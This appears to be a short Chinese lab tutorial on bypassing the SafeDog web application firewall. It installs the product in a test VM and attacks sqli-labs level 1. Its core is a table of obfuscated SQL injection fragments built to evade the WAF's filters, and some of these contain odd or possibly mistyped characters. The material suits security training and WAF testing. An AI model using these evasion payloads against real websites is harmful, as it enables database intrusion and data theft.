safedog安全狗

WAF Bypass(安全狗)

针对 Web 安全的防护，需要使用一款安全产品，Web 应用安全防火墙 (web Application Firewall，WAF)。

攻防对抗:

• 防守方，根据VAF 设备的报警及时进行拦截处理，应急响应，溯源反制等工作。
• 攻击方，想尽办法绕过安全防护。

Bypass的主要目的:

• 已知漏洞存在的情况下，绕过安全防护进行漏洞利用
• 免杀
• 绕过系统安全机制

安装安全狗

• 克隆一台server2016版虚拟机

安全狗下载

• 打开xampp，开启Apavhe和MySQL
  
• 安装安全狗，选择默认模式，点击确定

• 安全狗安装成功
  

以sqli-labs-1关为例

• 被狗咬了
  

绕过狗的方法

字符	绕过狗的方法
and	/*!14400and*/
order by	/**/order/*/%0a*a/by/**/
union select	union/*!88888cas*/%a0/*/*!=*/select/**/
database()	database(/*!/*/**OfAJEST*/*/)
from information_schema.tables	/*!from--%0f/*0ainformation_ schema.tables*/
from information_schema.columns	/*!from--%0f/*0ainformation_ schema.columns*/
count(*)	count(1)

• 成功绕过